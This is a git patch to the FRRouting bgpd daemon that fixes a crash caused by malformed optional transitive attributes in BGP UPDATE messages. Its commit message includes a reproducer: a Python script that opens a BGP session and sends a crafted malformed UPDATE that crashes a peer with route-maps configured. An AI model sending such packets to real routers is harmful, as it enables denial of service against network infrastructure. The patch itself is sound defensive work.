From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001 From: Donatas Abraitis Date: Fri, 27 Oct 2023 11:56:45 +0300 Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of malformed attrs Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be processed as a normal UPDATE without mandatory attributes, that could lead to harmful behavior. In this case, a crash for route-maps with the configuration such as: ``` router bgp 65001 no bgp ebgp-requires-policy neighbor 127.0.0.1 remote-as external neighbor 127.0.0.1 passive neighbor 127.0.0.1 ebgp-multihop neighbor 127.0.0.1 disable-connected-check neighbor 127.0.0.1 update-source 127.0.0.2 neighbor 127.0.0.1 timers 3 90 neighbor 127.0.0.1 timers connect 1 ! address-family ipv4 unicast neighbor 127.0.0.1 addpath-tx-all-paths neighbor 127.0.0.1 default-originate neighbor 127.0.0.1 route-map RM_IN in exit-address-family exit ! route-map RM_IN permit 10 set as-path prepend 200 exit ``` Send a malformed optional transitive attribute: ``` import socket import time OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02" b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02" b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00" b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d" b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01" b"\x80\x00\x00\x00") KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" b"\xff\xff\xff\xff\xff\xff\x00\x13\x04") UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.2', 179)) s.send(OPEN) data = s.recv(1024) s.send(KEEPALIVE) data = s.recv(1024) s.send(UPDATE) data = s.recv(1024) time.sleep(100) s.close() ``` Reported-by: Iggy Frankovic Signed-off-by: Donatas Abraitis --- bgpd/bgp_attr.c | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c index cf2dbe65b805..1473dc772502 100644 --- a/bgpd/bgp_attr.c +++ b/bgpd/bgp_attr.c @@ -3391,9 +3391,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr, uint8_t type = 0; /* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an - * empty UPDATE. */ + * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it, + * we will pass it to be processed as a normal UPDATE without mandatory + * attributes, that could lead to harmful behavior. + */ if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag) - return BGP_ATTR_PARSE_PROCEED; + return BGP_ATTR_PARSE_WITHDRAW; if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN))) type = BGP_ATTR_ORIGIN; @@ -3273,7 +3276,13 @@ done: aspath_unintern(&as4_path); } - if (ret != BGP_ATTR_PARSE_ERROR) { + /* If we received an UPDATE with mandatory attributes, then + * the unrecognized transitive optional attribute of that + * path MUST be passed. Otherwise, it's an error, and from + * security perspective it might be very harmful if we continue + * here with the unrecognized attributes. + */ + if (ret == BGP_ATTR_PARSE_PROCEED) { /* Finally intern unknown attribute. */ if (attr->transit) attr->transit = transit_intern(attr->transit);